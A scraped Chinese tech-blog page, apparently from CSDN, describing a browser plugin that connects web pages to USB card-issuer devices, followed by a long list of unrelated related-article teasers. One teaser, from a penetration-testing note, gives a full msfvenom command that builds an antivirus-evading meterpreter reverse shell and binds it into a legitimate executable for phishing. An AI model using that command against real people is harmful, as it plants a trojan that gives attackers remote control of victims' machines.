墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
700+累计阅读
746平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
BS结构的系统使用web浏览器展示并与外部设备发卡器通信,IE浏览器支持的ocx技术在google chrome浏览器,firefox等浏览器上不再支持,这就无法使用ocx技术做兼容所有浏览器的web系统.
友我科技读写器云服务插件就是为了解决web浏览器与发卡器进行通信而设计的,不仅支持google chrome浏览器,还支持IE,Firefox等主流的浏览器,简单来说,他就是一个连接发卡器和web系统的桥梁.
目前友我科技的USB接口的高频IC卡发卡器,NFC发卡器, UHF超高频发卡器都支持web系统,web工程师只需要采用js语言就可以将各种发卡器嵌入到自己的网页中.
支持的发卡器有高频的发卡器,WY-605,YW-607,YW-627, UHF超高频的有YW-602H
Javascript
个人简约的发卡网站源码
这个个人的发卡卡密源码,还不错我自己就用这个在开发支付平台的！因为个人业务也不是很多，这个源码发卡源码足够了哦!喜欢的赶紧下载吧
web端 刷卡器_web端专用读卡器/网页版专用读卡器
建和诚达打造了一款网页版专用IC卡读卡器，免除了WEB开发使用IC卡的麻烦，实现免驱动、免开发、即插即用等便捷，无需对软件做任何更改，可以直接使用IC卡，对IC卡进行读卡操作，是现在B/S结构下开发首选IC卡读卡器。一、web读卡器/网页端IC卡读卡器简介web读卡器/网页端IC卡读卡器是一款即插即用的ic卡读卡器，只要原来能使用磁条卡或条码卡的软件，都可直接使用该款读卡器来完成由磁条卡、条码卡向...
通用发卡器发卡指南
通用IC卡发卡器开发指南，有需要的可以自己测试下
Java调用海康HCUsbSDK制卡刷卡读卡
根据HCUsbSDK接口文档和JAVADEMO开发的一个发卡、读卡、刷卡的程序 淘宝买的空白UID卡，卡里需要存入员工工号和卡编号，在web后台来操作制卡、刷卡 简单记录下，方便以后开发相似的功能可以直接拿去用 发卡器型号是【海康威视DS-K1F100-D8E】 Mifare卡操作 登录设备、激活卡、密码验证 /** * @param args the command line arguments */ static HCUsbSDK hcusbsdk = HCUsbSDK.IN
impinJ 英频杰 RFID射频读发卡器测试工具
impinJ 英频杰 RFID射频读发卡器测试工具 支持R500 R2000芯片
发卡器电路原理图和开发工具
本资源中包含读卡器原理图及PCB文件、读卡器源程序和电脑端上位机源程序。读卡器可以直接制作使用，可以使用附件中的上位机与读卡器进行通信，控制读卡器对T5557类卡片进行读写操作。
一段代码实现海康威视发卡器（DS-K1F100-D8E）支持BS模式
海康威视BS模式发卡器（DS-K1F100-D8E）HTML代码 通常情况下都是CS模式连接读写器实现读卡写卡等操作，由于bs模式如按照正常模式连接读写器会导致连接失败， 一般情况下服务器是无法调用本地读写器或发卡器，此代码则实现了bs模式下HTML当前页可以连接本地读写器， 通过这种方式实现，但是仅限于IE浏览器下。其它浏览器不兼容，大家可以自己测试。 HTML代码 发卡器关联classid加载 <object id="readcard" classid="clsid:A233ADFA
IC卡发卡终端程序
发卡设备是刷卡业务的必须设备之一，应用广泛，但它和配套卡证和软件接口一起，与具体业务的耦合度非常高，这给管理软件的设计和维护带来很大的问题。
WEB浏览器与UHF超高频读卡器
在web浏览器上可以集成UHF超高频读卡器了,友我科技RFID读写器云服务升级到2.0.2.0版本后,就不仅可以支持高频的IC卡读卡器,还可以支持超高频的UHF读卡器. 支持的UHF读写卡器包含YW-602U和YW-602R等UHF的超高频发卡器,还支持YW-602-3和YW-602-8等UHF的超高频的读卡器.支持的web浏览器包括IE,google Chrome, firef
GEO优化内容营销策略：从规划到落地的全流程指南
GEO内容营销是通过地域化内容提升本地搜索排名、增加流量和转化率的策略。核心包括：构建本地用户画像，挖掘需求关键词；策划本地文化融合、案例研究等多样化内容；通过网站、社交媒体、本地KOL等渠道精准分发；优化本地关键词和视觉元素；监测数据并动态调整。案例显示，咖啡馆、工业企业和服装品牌通过本地化短视频、KOL合作及社群运营，显著提升了搜索排名、客流量和销售额。关键原则是内容本地化、精准分发、KOL合作、激励用户生成内容及数据驱动优化，实现高效本地市场渗透。
【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】
准备被捆绑程序： 输入：msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行，成功上线： ...
Qt_C++读写FM1208 CPU卡源码、支持windows、Linux系统
Qt_C++开发的FM1208CPU卡读写程序，本示例支持windows、linux系统使用，展示了QT调用DLL、os动态库初始化FM1208cpu卡、在cpu卡上创建文件、修改文件密码钥、读写文件数据等操作
高精地图语义分割标注
什么是语义分割？语义分割与目标检测的区别？语义分割的关键应用场景有哪些？高精地图语义分割标注的难点？
Qt_C++读写NFC标签Ntag支持windows国产linux操作系统
Qt _C++开发的读写NFC常用标签Ntag2,支持window、linux系统编译运行，展示了Windows、Linux系统内如何声明DLL、so动态库，调用函数读、写Ntag标签。
别再乱提MR了！手把手教你配置GitLab的CI/CD与分支保护规则，让团队协作更丝滑
本文详细介绍了如何配置GitLab的CI/CD与分支保护规则，以优化团队协作流程。通过设置Protected Branches、MR流水线检查和自动化审批规则，有效防止不规范操作和合并冲突，提升开发效率与代码质量。特别强调MR（Merge Request）的正确使用，确保团队协作更丝滑。
MCP详解：手把手教你理解和如何使用各种开源MCP服务
MCP 作为一种开放协议，为 AI 模型与外部世界的连接提供了标准化的解决方案。它不仅降低了开发门槛，还极大地扩展了 AI 应用的边界。无论是开发者还是普通用户，都可以通过 MCP 更高效地利用 AI 技术，实现更多智能化的功能。
B/S结构Web浏览器读写IC卡Javascript源码js脚本html网页
JavaScript开发的html网页读写M1 IC卡源码，读取IC卡出厂序列号、读取IC卡扇区数据、写数据到IC卡内，修改IC卡密钥，写序列到到UID卡内。
AI Agent在智能广告投放中的应用
随着互联网的快速发展，广告投放市场变得越来越复杂和竞争激烈。传统的广告投放方式往往难以精准地触达目标受众，导致广告资源的浪费。AI Agent作为一种智能的自动化程序，能够在复杂的环境中自主学习、决策和执行任务。本文章的目的在于深入探讨AI Agent在智能广告投放中的应用，研究如何利用AI Agent提高广告投放的精准度、效率和效果，降低成本。范围涵盖了AI Agent的基本原理、相关算法、在广告投放中的具体应用场景以及实际案例分析等方面。
Web网页写网址到424DNA标签Javascrip源码
本文介绍基于NTAG424DNA标签的NFC读写功能，通过Web插件实现发卡器与浏览器间的通信。支持激活卡片、选择应用、密钥认证、更改密钥、设置随机UID、写入NDEF URI记录及读取配置信息等操作。重点演示了动态UID、SDM镜像、加密保护等功能，适用于物联网、门禁、支付等场景。需安装专用驱动插件并启用相应权限。
Windows10下安装VMware16虚拟机
由于本人系统为Windows 10 家庭中文版，无法安装Linux子系统WSL，虽然网上也有强制安装的方法，但为保险起见，还是把之前的VMware虚拟机重新进行安装，并浅浅记录一下安装过程。
深入浅出AXI协议（2）——通道及信号
本文我们继续AXI协议的学习，我们将讨论5个通道的具体内容和相对应的信号。这一部分的内容现在对于大家来说可能很难理解，但是没有关系，随着学习的深入，我们会逐步讲解这里面的所有现在，现在只需要把它们当作一个可以查阅的手册，快速阅读有一个基本的印象即可。
B/S结构Web浏览器html网页读写CPU卡JavaScript源码JS脚本
Javascript读写fm1208CPU卡源码，获取CPU卡UID，初始化CPU卡并分配使用空间，创建文件、修改文件密钥、读写文件等操作。
jre9下载 jdk9
(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】
B/S结构Web浏览器读写低频RFID标签T5557卡JavaScript源码
摘要：本文展示了一个T5557读写器的Web操作界面，通过JavaScript实现与发卡器的WebSocket通信。主要功能包括：蜂鸣测试、获取设备序列号、读取/写入T5557卡数据、设置卡片配置、修改密钥等操作。界面提供16进制数据输入，支持特定ID卡操作和密码保护功能。操作时需先运行配套服务程序，系统会实时显示操作结果和错误提示。该界面可处理多种卡号格式转换，包括8H10D、WG26、WG34等格式，适用于T5557/T5567/T5577系列卡片操作。
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
精雕软件(JDpaint) 5.5 绿色版
精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版
WEB浏览器网页读写Desfire EV1 EV2 EV3卡，修改DES、3DES、AES密钥JS源码JavaScript
该网页是一个基于WebSocket的Mifare Desfire EV1/EV2/EV3智能卡读写操作界面，主要功能包括： 提供发卡器控制功能（蜂鸣、获取设备序列号） 支持Desfire卡的基本操作（激活、选择应用、密钥认证） 支持卡片管理（格式化、创建/删除应用、密钥配置修改） 支持文件操作（创建/删除文件、读写数据、事务管理） 采用WebSocket与本地服务程序通信，需安装配套插件 提供详细的操作结果反馈和错误提示 界面包含多个功能区域，分别对应卡片激活、应用管理、文件操作等不同层级的操作，支持DES
计算机控制技术及应用
《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术，以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索，主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式，计算机控制系统的数学描述与基本分析方法，以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。
B/S结构Web浏览器html网页读写NFC Ntag标签JavaScript源码JS脚本
JavaScript读写NFC Ntag标签源码，设置Ntag卡的密钥保护机制，带密钥读、写块数据
Android安卓写入蓝牙设备自动连接NDEF标签
Android安卓写蓝牙连接NDEF标签原码，将蓝牙设备名称、MAC地址写入NDEF标签，手机等设备读到标签就可以自动连上设备。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
1099
扫一扫
